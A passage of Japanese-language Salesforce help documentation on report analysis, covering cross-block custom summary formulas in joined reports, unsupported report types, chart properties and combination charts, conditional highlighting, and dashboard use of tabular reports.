• カスタム集計項目の結果は、それらが含まれるブロックに適用される検索条件オプションの影響を受けま

す。そのため、同じ数式の結果はブロックごとに異なります。
• 結合レポートの各ブロックには最大10個のカスタム集計項目を追加できます。結合レポートには、合計50

個のカスタム集計項目を含めることができます。
• 各カスタム集計項目には一意の名前が必要です。ただし、標準カスタム集計項目とクロスブロックカスタ

ム集計項目には同じ名前を付けることができます。
• カスタム集計項目名に角括弧 ([ または ]) を使用することはできません。

4946

レポート分析



クロスブロックカスタム集計項目
クロスブロックカスタム集計項目を使用すると、結合レポートの複数のブロックにまたがって値を計算できま
す。たとえば、クロスブロック集計項目を使用して、取引先の完了した商談に対する進行中の商談の比率や、
販売目標に対する完了したパイプライン商談の比率を計算できます。
クロスブロック数式の作成は、標準数式の作成に似ています。同じデータ形式、数式オプション、関数、およ
び計算の表示場所を使用できます。ブロック情報が含まれる以外、数式構文も似ています。たとえば、各取引
先の商談対ケースの比率を計算する場合、数式には「[商談ブロック 1]行数 / [ケースブロック 2]行数」と
いうブロックのタイトルが含まれます。ブロックのタイトルを省略した場合、数式構文のチェックや数式の保
存を行うと、エラーメッセージが表示されます。
クロスブロックカスタム集計項目を使用するときには次の点に留意してください。
• クロスブロック集計項目はレポートのどのブロックにも追加できます。
• クロスブロック集計項目が作成時にレポートに自動追加されることはありません。集計項目を追加するに

は、ブロックにドラッグします。
• クロスブロック集計項目をブロックに追加すると、標準集計項目の右に、ブロックに追加した順序で表示

されます。
• クロスブロック集計項目の結果は、レポートのブロックに適用された検索条件オプションによって影響を

受けます。そのため、検索条件オプションを変更すると、クロスブロック集計項目の算出結果が変わるこ
とがあります。

• 結合レポートごとに最大 10 個のクロスブロックカスタム集計項目を設定できます。
• クロスブロック集計項目で使用されているブロックを削除すると、その集計項目も [項目] ペインとその集

計項目を含む残りのブロックの両方から削除されます。
• 各クロスブロック集計項目には、一意の名前を付ける必要があります。ただし、標準カスタム集計項目と

クロスブロックカスタム集計項目には同じ名前を付けることができます。
• クロスブロック集計項目の名前には、角かっこ ([ または ]) を含めることはできません。

関連トピック:

カスタム集計項目の作成
カスタム集計項目を最大限に活用
結合レポートの例
結合レポートのカスタム集計項目の作成
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結合レポートで実行できない操作は?

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

サマリーレポートまたはマトリックスレポートでできる操作の多くは、結合レ
ポートでも可能です。たとえば、項目の検索、追加、削除、集計、およびレポー
トの実行と保存を実行できます。ただし、実行できない操作もあります。
結合レポートでは、次の操作を実行できません。
• バケット項目を追加する。
• クロス条件を追加する。
• [項目] ペインから [条件] ペインへ項目をドラッグアンドドロップする。
• 条件付き強調表示を適用する。
• 商談レポートまたは活動レポートの階層を変更する。
• 結合レポートに基づいてレポート作成スナップショットを作成する。

メモ:

• ユーザが結合レポートを作成および編集できるようにするには、組織全体でレポートビルダーが有効
になっている必要があります。レポートビルダーが有効ではない場合、ユーザは結合レポートを実行
することはできますが、作成することはできません。

• 結合レポートでは、新しいユーザインターフェースのテーマが有効化されている必要があります。新
しいテーマのないユーザは、結合レポートの作成、編集、実行ができません。

• Internet Explorer 6 は、結合レポートではサポートされていません。
• ダッシュボードビューの結合レポートのデータを検索条件で絞り込んだり、結合レポートのみが含ま

れるダッシュボードに検索条件を追加することはできません。

結合レポートで使用できない標準レポートタイプ
• 取引先と取引先責任者

– 取引先履歴
– 取引先所有者*

– 取引先責任者履歴
• 活動

– 代理承認申請一覧*

• 管理
– 未承認申請一覧*

– 過去 7 日間の API 使用状況*

• キャンペーン
– キャンペーンメンバー*

– キャンペーンメンバー (複数)

– キャンペーンメンバー分析*

– キャンペーンと影響を受ける商談
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• 契約
– 契約履歴
– 注文履歴

• カスタマーサポート
– ケース履歴
– セルフサービス利用状況
– ソリューションの履歴

• ファイルおよびコンテンツ
– 著者別コンテンツ
– 期間内に公開したコンテンツ
– ファイルおよびコンテンツのダウンロード
– ファイルおよびコンテンツのエンゲージメント
– ファイルおよびコンテンツのリンク
– ライブラリ管理者
– ライブラリコンテンツ
– 最もダウンロードされたコンテンツ
– 最も登録者の多いコンテンツ
– 古いコンテンツ

• 売上予測
– カスタマイザブル売上予測: 売上予測履歴一覧
– カスタマイザブル売上予測: 売上予測概要
– カスタマイザブル売上予測: 商談売上予測一覧
– 売上予測履歴
– 売上予測
– 予実対比表*

• リード
– リードすべて
– リード履歴
– リード状況別リード一覧*

• 商談
– 取引先責任者のロールと商品が関連する商談
– 商談チームと商品が関連する商談
– 商談項目履歴

• 価格表と商品
– 未登録商品の納入商品一覧*
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メモ:

• ここにリストされるすべてのレポートタイプへのアクセス権がない場合があります。組織が有効化し
ている機能やシステム管理者によるレポートフォルダの表示の設定方法などの要因によって、表示さ
れるレポートタイプが異なります。表示されるはずのレポートタイプが表示されていない場合は、シ
ステム管理者に確認してください。

• 組織が標準オブジェクト名を変更した場合、標準レポートタイプの名前には、元の名前ではなく、変
更後の名前が含まれます。たとえば、組織が「商談」オブジェクトの名前を「案件」に変更している
場合、標準レポートタイプ「商談項目履歴」は「案件項目履歴」になります。

• このリストでアスタリスク (*) でマークされているレポートタイプは、新規レポートを作成する場合に
使用できません。代わりに、[レポート] タブのフォルダにある標準レポートをカスタマイズしてアク
セスします。

関連トピック:

レポートタイプの選択
主要レポートタイプの変更
異なるタイプの情報を結合レポートに集約
標準レポートタイプ

レポートデータのグラフィカル表示
ユーザがデータをすばやく簡単に理解できるように、データをグラフフォームで表示します。グラフはレポー
トテーブルのすぐ上に表示されます。これにより、詳細を徹底的に調べる前に、データの雰囲気をつかむこと
ができます。折れ線グラフを使用して経時変化を追跡したり、棒グラフや円グラフを使用して一定時点の値を
比較したりします。グラフは、ダッシュボードコンポーネントにも表示できます。

1. レポートへのグラフの追加
グラフを追加して、レポートのデータを視覚的に理解できるようにします。

2. グラフのプロパティ
標準レポート、カスタム集計レポート、またはマトリックスレポートにグラフを追加できます。グラフの
プロパティでは、グラフに表示するデータ、ラベルと色、および適用する条件付き強調表示を指定します。

3. グラフを使用したデータの効果的な表示
レポートにグラフを追加する場合、負の値、大きすぎるまたは小さすぎる数値、カスタム集計項目、およ
び項目レベルセキュリティなどの要素はグラフの表示に影響する場合があります。レポート形式を切り替
えたり、グループ化およびブロックを変更したりすると、グラフにも影響があります。

4. 1 つのグラフに異なるデータセットを表示
組み合わせグラフでは、1 つのグラフ上に複数のデータセットが描画されます。各データセットは異なる項
目に基づいているため、簡単に値を比較できます。また、特定の種類のグラフを組み合わせて、1 つのグラ
フにさまざまな方法でデータを示すこともできます。

5. 組み合わせグラフの例
組み合わせグラフを使用して、1 つの軸範囲に対して複数の値を表示したり、2 種類のグラフを組み合わせ
て表示したり、2 つの連続する集計値を比較したりします。
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6. グラフフォーマッティングオプション

関連トピック:

グラフを使用したデータの効果的な表示
レポートへのグラフの追加
グラフのプロパティ
組み合わせグラフの例
1 つのグラフに異なるデータセットを表示

レポートへのグラフの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」
AND

「レポートビルダー」

グラフを追加して、レポートのデータを視覚的に理解できるようにします。

メモ: グラフを追加するには、レポートに少なくとも 1 つのグルーピングが
ある必要があります。

Lightning Experience では、レポート実行ページでグラフの追加または編集を行い
ます。
1. グラフを表示または非表示にするには、[ ] をクリックします。
2. グラフを編集するには、[ ] をクリックします。

グラフエディタで、グラフの種類の変更、グラフのタイトルの設定、軸の変
更、基準線の表示と非表示の切り替え、グラフ値の表示と非表示の切り替え
を行います。

Salesforce Classicでは、レポートビルダーでグラフの追加または編集を行います。
1. レポートビルダーで [グラフを追加]をクリックします。既存のグラフでは、

[グラフを編集] をクリックします。
2. グラフの種類を選択します。
3. [グラフデータ] タブに、選択したグラフの種類に適した設定を入力します。
4. [フォーマッティング] タブに適切な設定を入力します。
5. [OK] をクリックします。

関連トピック:

グラフの種類
グラフを使用したデータの効果的な表示
新規レポートの作成
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グラフのプロパティ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

標準レポート、カスタム集計レポート、またはマトリックスレポートにグラフ
を追加できます。グラフのプロパティでは、グラフに表示するデータ、ラベル
と色、および適用する条件付き強調表示を指定します。

メモ: このトピックは、レポートビルダーを使用していない場合にのみ適
用されます。レポートビルダーは、レポートのビジュアルエディタです。

グラフのプロパティをカスマイズするには、マトリックスレポートまたはサマ
リーレポートで [グラフを追加] または [グラフを編集] をクリックして、[グラフ
データ] タブおよび [フォーマッティング] タブの各項目を使用します。
制限、考慮事項、およびヒントは、「グラフを使用したデータの効果的な表示」
(ページ 4955)を参照してください。

グラフデータの設定
次のオプションを使用して、グラフに表示されるデータを制御します。

説明項目

レポート内のデータを表現するグラフの種類を選択し
ます。選択したグラフの種類によって、設定に使用で
きるグラフのプロパティが決まります。

グラフの種類

グラフの軸上に表示する値を選択します。グラフの種
類に従って、軸の値は、レポート内で定義されている

[X 軸] と [Y 軸]

レコード数、集計項目、またはグルーピングになりま
す。

メモ: [この数式をどこに表示しますか?] オプショ
ンが [すべての集計レベル]以外のグルーピングレ
ベルに設定されているカスタム集計項目に Y 軸が
対応している場合、X 軸とグルーピング選択はカ
スタム集計項目のグルーピングレベルに対応する
必要があります。

対象のグラフに追加の値を描画するには、このオプショ
ンを使用します。選択したグラフの種類で組み合わせ
グラフが許可されている必要があります。

組み合わせグラフ

グラフで情報をグループ化する方法を選択します。レ
ポートで定義されているグルーピングの中からのみ選

グルーピング

択できます。横棒グラフと縦棒グラフの場合、アイコ
ンをクリックしてグルーピング表示を選択します。[横
並び]、[積み上げ]、または [100% 積み上げ] があります。
単独または集合の折れ線グラフの場合、[累積折れ線]

を選択できます。
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説明項目

円グラフ、ドーナツグラフ、またはじょうごグラフに値として何を表示する
か選択します。

値

円グラフまたはドーナツグラフに系列として何を表示するか選択します。系列

じょうごグラフに区分として何を表示するか選択します。区分

グラフのプレゼンテーション
次のオプションを使用して、グラフの表示と動作を制御します。

説明項目

グラフの名前を入力します。グラフタイトル

グラフタイトルのテキストの色を選択します。タイトルの色

グラフタイトルのテキストのフォントサイズを選択します。最大サイズは 18 です。
18 より大きい値は 18 ポイントで表示されます。

タイトルサイズ

グラフ内のすべてのテキストとラベルの色を選択します。テキストの色

グラフ内のすべてのテキストとラベルのフォントサイズを選択します。最大サイズ
は 18 です。18 より大きい値は 18 ポイントで表示されます。

サイズ

背景のグラデーション色の方向を選択します。また、グラデーションの [開始の色]

と [終了の色] を選択します。背景のデザインが必要ない場合は、両方に白を選択
します。

背景のグラデーション

グラフに対して、凡例を表示する位置を選択します。凡例の表示位置

合計の 3% 以下のグループをすべて 1 つの「その他」系列または区分にまとめます。
グラフにすべての値を個別に表示する場合は、この選択を解除します。円グラフ、

小グループを「その他」
グループと組み合わせる

ドーナツグラフ、およびじょうごグラフのみに適用されます。このオプションは、
デフォルトで、円グラフ、ドーナツグラフの場合はオン、じょうごグラフの場合は
オフになります。

棒グラフ、折れ線グラフ、または縦棒グラフの軸の範囲を手動、自動のどちらで設
定するかを選択します。手動で設定する場合は、表示する軸の最大値および最小値

X 軸または Y 軸の範囲

を入力します。設定した範囲外にデータポイントがあると、グラフの生成時にそう
した値も含まれるように軸が自動的に拡張されます。

グラフの各軸のラベルを表示します。このプロパティは、棒グラフと折れ線グラフ
にのみ適用されます。

軸ラベルを表示する

円グラフ、ドーナツグラフ、またはじょうごグラフのラベルを表示します。表示ラベルを表示する

グラフの各グループのパーセント値を表示します。グループの表示 (%)
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説明項目

グラフの軸の個々のレコードまたはグループの値を表示します。このプロパティは、
特定の横棒グラフと縦棒グラフにのみ適用されます。

X 軸値の表示または Y

軸値の表示

グラフの個々のレコードまたはグループの値を表示します。これは、特定のグラフ
の種類にのみ適用されます。

値を表示

円グラフおよびドーナツグラフの各系列のパーセント値を表示します。系列の表示 (%)

ドーナツグラフの合計値を表示します。合計を表示

じょうごグラフの各区分のパーセント値を表示します。区分の表示 (%)

グラフ上にマウスを置いたときに、値、ラベル、およびパーセントを表示します。
詳細のフロート表示はグラフの種類によって異なります。パーセントは、円グラフ、

詳細のフロート表示

ドーナツグラフ、およびじょうごグラフのみに適用されます。データポイントが 200

個を超えるグラフを表示する場合、フロート表示は無効になります。

グラフのサイズを選択します。[特小] から [特大] まであります。グラフサイズ

グラフをレポートの上か下に置きます。グラフの位置

条件付き強調表示
サマリーレポートやマトリックスレポートの項目値を、指定した範囲と色に従って強調表示します。条件付き
強調表示を有効化するには、レポートに集計項目またはカスタム集計項目が少なくとも 1 つ含まれている必要
があります。

説明項目

数値の範囲を色で表現する集計項目を選択します。概要

[下限ブレークポイント]値を下回るデータを表現する色を選択します。ローレンジの色

[ローレンジの色]と[ミドルレンジの色]の間のしきい値として機能する数値。[下限
ブレークポイント]値とまったく同じ値は、[ミドルレンジの色]として表示されます。

下限ブレークポイント

[下限ブレークポイント]値と[上限ブレークポイント]値の間のデータを表現する色を
選択します。

ミドルレンジの色

[ミドルレンジの色]と[ハイレンジの色]の間のしきい値として機能する数値。[上限
ブレークポイント]値とまったく同じ値は、[ハイレンジの色]として表示されます。

上限ブレークポイント

[上限ブレークポイント]値を上回るデータを表現する色を選択します。ハイレンジの色

関連トピック:

グラフの種類
レポートのカスタマイズ
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グラフを使用したデータの効果的な表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

レポートにグラフを追加する場合、負の値、大きすぎるまたは小さすぎる数値、
カスタム集計項目、および項目レベルセキュリティなどの要素はグラフの表示
に影響する場合があります。レポート形式を切り替えたり、グループ化および
ブロックを変更したりすると、グラフにも影響があります。
• グラフには、250 を超えるグループまたは 4,000 を超える値を含めることはで

きません。グラフに描画するグループまたは値が多すぎるというエラーメッ
セージが表示された場合は、レポート検索条件を調整して、数を減らしてく
ださい。組み合わせグラフでは、すべてのグループおよび値が合計のカウン
ト対象となります。

• グラフで使用されているアクセス権を失った場合、代わりに別の項目が使用
される場合があります。使用できる項目がない場合、レコード数が使用され
ます。

• グラフの小数点の位置の精度はカスタマイズできません。数値と通貨の値は
小数点第 2 位に丸められます。パーセント値は、小数点第 1 位に丸められます。

• 数値が大きすぎるか小さすぎる場合は、科学的記数法で表示されます。たとえば、5,750,000,000 は 5.75E9 と
表示され、-0.0000000061 は -6.1E-9 と表示されます。

• 負の値は、すべての折れ線グラフ、および積み上げ以外の横棒グラフと縦棒グラフに表示されます。円グ
ラフ、ドーナツグラフ、じょうごグラフ、および積み上げ縦棒グラフでは、負の値は表示されません。負
の値を含むグルーピングは凡例に表示され、負の値はすべての集計値の計算 (ドーナツグラフの合計を含む)

に反映されます。
• グラフを作成する場合、子オブジェクトの項目で分類した後に親オブジェクトの項目で合計しないでくだ

さい。これは良い方法ではありません。これをドーナツグラフで実行すると、表示される合計が系列の合
計と一致しない場合があります。

• ダッシュボードとレポートグラフでは、カスタム集計項目に表示される小数点以下の値は、項目の設定で
はなく、デフォルトの通貨設定を使用して表示されます。たとえば、集計項目の小数点以下の桁数を 0 に
指定した場合、列には小数が表示されませんが、グラフの値にはデフォルト通貨に指定した小数点以下の
桁数 (通常 2 桁) が示されます。これは、通貨、数字、パーセントに適用されます。

• 結合レポートでは、集計項目の名前に項目名とブロック名の両方が含まれます。たとえば、ブロック 1 の
[金額] 項目を集計した場合、グラフエディタでは [ブロック 1 — 合計金額] として表示されます。クロス
ブロックまたは標準カスタム集計項目が複数のブロックに含まれる場合、項目名にはブロック名が含まれ
ます。

• レポートにすでにグラフが含まれている場合は、レポート形式を変更したり、ブロック、グループ化また
は集計項目を削除したりすると、次の表に説明する影響があります。

影響...変更内容...

レポートからグラフがすべて削除されます。レポート形式をサマリー、マト
リックスまたは結合から表形式に
切り替える

第 1 のサマリーグルーピングは、第 1 の行グルーピングになります。
第 2 のサマリーグルーピングは、第 1 の列グルーピングになります。

レポート形式をサマリーからマト
リックスに切り替える
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影響...変更内容...

第 3 のサマリーグルーピングは、第 2 の行グルーピングになります。
グラフは変更されません。

第 1 の行グルーピングは、第 1 のサマリーグルーピングになります。
第 2 の行グルーピングは、第 3 のサマリーグルーピングになります。

レポート形式をマトリックスから
サマリーに切り替える

第 1 の列グルーピングは、第 2 のサマリーグルーピングになります。
第 2 の列グルーピングは削除されます。そのグラフが 2 番目の列のグ
ループ化を使用していた場合、そのグループ化はグラフでまだ使用さ
れていない最初に使用可能な集計項目に置き換えられます。

既存のレポートが最初のブロックになり、グラフはレポートに保持さ
れます。
マトリックスレポートが 2 番目の列のグループ化を使用していた場
合、そのグループ化はグラフでまだ使用されていない最初に使用可能
な集計項目に置き換えられます。

レポート形式をサマリーまたはマ
トリックスから結合に切り替える

サマリーレポートまたはマトリックスレポートがバケット項目のグ
ループ化を含んでいた場合、そのグループ化はグラフでまだ使用され
ていない次に使用可能なグループ化に置き換えられます。

最初のブロックはレポートになり、グループ化およびグラフは保持さ
れます。結合バージョンのグラフが最初のブロックの集計項目を含ん

レポート形式を結合からサマリー
またはマトリックスに切り替える

でいた場合、それらはサマリーレポートのグラフで保持されます。そ
の他のブロックの集計はグラフから削除されます。

集計項目は次に使用可能な集計項目に置き換えられます。使用可能な
追加の集計項目がない場合、元の項目は残りの最初のブロックのレ

結合レポートから集計項目を含む
ブロックを削除する

コード件数に置き換えられます。レポートからすべてのブロックを削
除すると、グラフは完全に削除されます。

グループ化は次に使用可能なグループ化に置き換えられます。すべて
のグループ化が削除されると、グラフも削除されます。結合レポート

グラフで使用されているグループ
化を削除する

にレポートタイプを追加した場合、または項目レベルセキュリティの
結果としてなど、項目が使用できなくなった場合、グループ化が自動
的に削除される可能性があります。

集計項目は次に使用可能な集計項目に置き換えられます。使用可能な
追加の集計項目がない場合、その項目はレポートまたは最初のブロッ

グラフで使用されている集計項目
を削除する (カスタムおよびクロス
ブロック集計を含む) クのいずれかのレコード件数に置き換えられます。項目レベルセキュ
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影響...変更内容...

リティの結果として、またはレポート形式が変更された場合に、集計
項目が自動的に削除される可能性があります。

関連トピック:

レポートへのグラフの追加
グラフフォーマッティングオプション
1 つのグラフに異なるデータセットを表示

1 つのグラフに異なるデータセットを表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」
AND

「レポートビルダー」

組み合わせグラフでは、1 つのグラフ上に複数のデータセットが描画されます。
各データセットは異なる項目に基づいているため、簡単に値を比較できます。
また、特定の種類のグラフを組み合わせて、1 つのグラフにさまざまな方法で
データを示すこともできます。
組み合わせグラフには、次の機能があります。
• 既存の折れ線グラフ、縦棒グラフ、集合縦棒グラフ、または積み上げ縦棒グ

ラフに折れ線を追加する。
• 既存の累積折れ線グラフに累積折れ線を追加する。
• 縦棒グラフに最大 3 つの縦棒を追加する。
• 横棒グラフに最大 3 つの横棒を追加する。
たとえば、営業マネージャが同じグラフ上に「パイプライン金額」は折れ線で、
「進行中の商談数」は縦棒で表示しようとしているとします。
1. 任意のサマリーレポートまたはマトリックスレポートを編集するか、サマ

リーレポートまたはマトリックスレポートを表示するダッシュボードコン
ポーネントを編集します。

2. 組み合わせグラフを作成できるグラフの種類を選択します。
• 横棒グラフ
• 縦棒グラフ
• 集合縦棒グラフ
• 積み上げ縦棒グラフ
• 折れ線グラフ
• 累積折れ線グラフ

3. [プロット追加値] チェックボックスをオンにします。組み合わせグラフを設定すると、グラフプレビュー
が更新されます。

4. グラフにプロットするには、[値] を選択します。
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5. [表示]を選択します。利用できるオプションは、グラフの種類、およびグラフとダッシュボードコンポー
ネントのどちらを編集しているかによって異なります。
• 縦棒または横棒の場合は、[棒を追加] リンクまたは [列を追加] リンクをクリックして最大 3 つまで追加

できます。
• 縦棒グラフに折れ線を追加する場合は、[第 2 軸を使用] を選択して、追加する折れ線の軸を縦棒グラフ

の右側に個別に表示します。軸を別個に表示すると、2 つの値の範囲または単位が異なる場合に便利で
す。

メモ: [第 2 軸を使用] を選択すると、[値] ドロップダウンリストから選択できる値が多くなりま
す。このオプションを使用しないと、Y 主軸と同じ種類 (数値、通貨、パーセントなど) の値しか選
択できなくなります。このオプションは、特定の組み合わせグラフでのみ使用できます。

6. レポートを設定したら、[レポート実行] または [保存] をクリックします。

メモ:

• グラフで使用されているアクセス権を失った場合、代わりに別の項目が使用される場合があります。
使用できる項目がない場合、レコード数が使用されます。

• X 軸と Y 軸の両方を [自動] に設定することはできません。[自動] に設定されている場合は、グラフ
をプロットできません。

• 条件設定済みドリルダウンは、ダッシュボードの組み合わせグラフでは機能しません。

関連トピック:

グラフの種類
レポートへのグラフの追加
組み合わせグラフの例

組み合わせグラフの例
組み合わせグラフを使用して、1 つの軸範囲に対して複数の値を表示したり、2 種類のグラフを組み合わせて
表示したり、2 つの連続する集計値を比較したりします。
組み合わせグラフでは、1 つのグラフ上に複数のデータセットが描画されます。
縦棒グラフに縦棒を追加

1 つの軸範囲に対して複数の値を表示する場合は、縦棒グラフに縦棒を追加します。
この例のグラフを作成するには、グラフの種類で縦棒を選択して商談総額を [Y 軸]、フェーズを [X 軸]

に設定し、[プロット追加値] オプションを使用して期待収益の合計を縦棒として追加します。
これで各フェーズの期待値に対する実績値をすばやく比較できます。

4958

レポート分析



縦棒グラフに折れ線を追加
2 種類のグラフを組み合わせて表示するには、縦棒グラフに折れ線を追加します。2 本目の軸を使用する
と、異なる種類の値をグラフに追加できます。
この例のグラフを作成するには、グラフの種類で縦棒を選択して商談総額を [Y 軸]、会計年度を [X 軸]

に設定し、[プロット追加値]オプションを使用して案件数を折れ線として追加します。[第 2 軸を使用]を選
択すると、[値] ドロップダウンリストから異なる種類の集計値を選択できるようになります。
このようにして、各年の総額と案件数の両方を 1 つのグラフに表示できます。

折れ線グラフに折れ線を追加
2 つの連続する集計値を比較するには、折れ線グラフに折れ線を追加します。
この例のグラフを作成するには、商談金額の 3 週間の移動平均を計算するカスタム集計項目を設定した後、
グラフの種類で折れ線を選択して商談総額を [Y 軸]、日付を [X 軸] に設定し、[プロット追加値] オプ
ションを使用して計算した 3 週間の移動平均を折れ線として追加します。
このようにして、この期間の売上と移動平均を比較できます。
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この例で使用したカスタム集計項目は次のとおりです。
(OppProductTrends__c.Amount__c:SUM+ PREVGROUPVAL(OppProductTrends__c.Amount__c:SUM,
OppProductTrends__c.as_of_date__c) + PREVGROUPVAL(OppProductTrends__c.Amount__c:SUM,
OppProductTrends__c.as_of_date__c,2))/3

関連トピック:

1 つのグラフに異なるデータセットを表示

グラフフォーマッティングオプション
次のオプションを使用して、グラフの表示と動作を制御します。

説明項目

グラフの名前を入力します。グラフタイトル

グラフタイトルのテキストの色を選択します。タイトルの色

グラフタイトルのテキストのフォントサイズを選択します。最大サイズは 18 です。
18 より大きい値は 18 ポイントで表示されます。

タイトルサイズ

グラフ内のすべてのテキストとラベルの色を選択します。テキストの色

グラフ内のすべてのテキストとラベルのフォントサイズを選択します。最大サイズ
は 18 です。18 より大きい値は 18 ポイントで表示されます。

サイズ

背景のグラデーション色の方向を選択します。また、グラデーションの [開始の色]

と [終了の色] を選択します。背景のデザインが必要ない場合は、両方に白を選択
します。

背景のグラデーション

グラフに対して、凡例を表示する位置を選択します。凡例の表示位置

合計の 3% 以下のグループをすべて 1 つの「その他」系列または区分にまとめます。
グラフにすべての値を個別に表示する場合は、この選択を解除します。円グラフ、

小グループを「その他」
グループと組み合わせる

ドーナツグラフ、およびじょうごグラフのみに適用されます。このオプションは、
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説明項目

デフォルトで、円グラフ、ドーナツグラフの場合はオン、じょうごグラフの場合は
オフになります。

棒グラフ、折れ線グラフ、または縦棒グラフの軸の範囲を手動、自動のどちらで設
定するかを選択します。手動で設定する場合は、表示する軸の最大値および最小値

X 軸または Y 軸の範囲

を入力します。設定した範囲外にデータポイントがあると、グラフの生成時にそう
した値も含まれるように軸が自動的に拡張されます。

グラフの各軸のラベルを表示します。このプロパティは、棒グラフと折れ線グラフ
にのみ適用されます。

軸ラベルを表示する

円グラフ、ドーナツグラフ、またはじょうごグラフのラベルを表示します。表示ラベルを表示する

グラフの各グループのパーセント値を表示します。グループの表示 (%)

グラフの軸の個々のレコードまたはグループの値を表示します。このプロパティは、
特定の横棒グラフと縦棒グラフにのみ適用されます。

X 軸値の表示または Y

軸値の表示

グラフの個々のレコードまたはグループの値を表示します。これは、特定のグラフ
の種類にのみ適用されます。

値を表示

円グラフおよびドーナツグラフの各系列のパーセント値を表示します。系列の表示 (%)

ドーナツグラフの合計値を表示します。合計を表示

じょうごグラフの各区分のパーセント値を表示します。区分の表示 (%)

グラフ上にマウスを置いたときに、値、ラベル、およびパーセントを表示します。
詳細のフロート表示はグラフの種類によって異なります。パーセントは、円グラフ、

詳細のフロート表示

ドーナツグラフ、およびじょうごグラフのみに適用されます。データポイントが 200

個を超えるグラフを表示する場合、フロート表示は無効になります。

グラフのサイズを選択します。[特小] から [特大] まであります。グラフサイズ

グラフをレポートの上か下に置きます。グラフの位置

関連トピック:

レポートへのグラフの追加

テーブルへのレポートデータの表示
ユーザがデータを簡単にスキャンできるように、詳細や範囲は非表示にし、表示する結果の数を制限し、色を
付けて強調表示します。テーブルをダッシュボードコンポーネントに表示することもできます。
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1. レポートの詳細の表示と非表示
レポート実行ページまたはレポートビルダーから、レポートの詳細を表示または非表示にできます。詳細
を非表示にすると、個別のレコードはレポートに表示されません。グループ化、集計項目、およびレコー
ド件数は、表示されたままです。

2. データ範囲の強調表示
サマリーレポートやマトリックスレポートの項目値を、指定した範囲と色に従って強調表示します。条件
付き強調表示を有効化するには、レポートに集計項目またはカスタム集計項目が少なくとも 1 つ含まれて
いる必要があります。

3. ダッシュボードでの表形式レポートの使用
表形式レポートが返す行数を制限すると、表形式レポートをダッシュボードテーブルコンポーネントまた
はグラフコンポーネントのソースレポートとして使用できます。

4. レポートの結果の制限
レポートの範囲に制限を設定して、多数のレコードが処理されるのを回避します。結果を制限するための
組み込みの選択肢は、レポートするオブジェクトによって異なります。

関連トピック:

データ範囲の強調表示
レポートの結果の制限
レポートの詳細の表示と非表示
ダッシュボードでの表形式レポートの使用

レポートの詳細の表示と非表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

レポートを実行する
• 「レポート実行」

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

レポート実行ページまたはレポートビルダーから、レポートの詳細を表示また
は非表示にできます。詳細を非表示にすると、個別のレコードはレポートに表
示されません。グループ化、集計項目、およびレコード件数は、表示されたま
まです。
• 個別のレコードを非表示にするには、レポート実行ページで、[詳細を非表

示]をクリックします。すべてのレコードを表示するには、[詳細の表示]をク
リックします。

• レポートビルダーでは、[表示] > [詳細]をクリックします。[詳細]メニュー項
目の横にあるチェックマークは、詳細が表示されていることを示します。レ
コードの表示と非表示を切り替えるには、[詳細] をクリックします。

関連トピック:

ブロックのレコード件数の表示および非表示
新規レポートの作成
異なるタイプの情報を結合レポートに集約
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データ範囲の強調表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」
AND

「レポートビルダー」

サマリーレポートやマトリックスレポートの項目値を、指定した範囲と色に従っ
て強調表示します。条件付き強調表示を有効化するには、レポートに集計項目
またはカスタム集計項目が少なくとも 1 つ含まれている必要があります。
条件付き強調表示を設定するには、レポートビルダーで [表示] > [条件付き強調
表示] をクリックし、次のようにブレークポイント値とレンジの色を設定しま
す。

説明項目

数値の範囲を色で表現する集計項目を選択します。概要

[下限ブレークポイント]値を下回るデータを表現する色を選
択します。

ローレンジの色

[ローレンジの色]と[ミドルレンジの色]の間のしきい値とし
て機能する数値。[下限ブレークポイント]値とまったく同じ
値は、[ミドルレンジの色]として表示されます。

下限ブレークポ
イント

[下限ブレークポイント]値と[上限ブレークポイント]値の間
のデータを表現する色を選択します。

ミドルレンジの
色

[ミドルレンジの色]と[ハイレンジの色]の間のしきい値とし
て機能する数値。[上限ブレークポイント]値とまったく同じ
値は、[ハイレンジの色]として表示されます。

上限ブレークポ
イント

[上限ブレークポイント]値を上回るデータを表現する色を選
択します。

ハイレンジの色

関連トピック:

新規レポートの作成
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ダッシュボードでの表形式レポートの使用

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」
AND

「レポートビルダー」

表形式レポートが返す行数を制限すると、表形式レポートをダッシュボードテー
ブルコンポーネントまたはグラフコンポーネントのソースレポートとして使用
できます。
1. [追加] > [行制限] をクリックします。
2. [行制限]を、[10]、[25]、または [カスタム]に設定します。[カスタム] を

選択する場合は、1 ～ 99 の数値を入力します。
3. [並び替え] および並び替え順オプションを設定します。列に [この項目で行

数を制限]を選択した場合、これらのオプションはすでに設定されています。
4. [OK] をクリックします。
5. ツールバーで [ダッシュボードの設定] をクリックします。
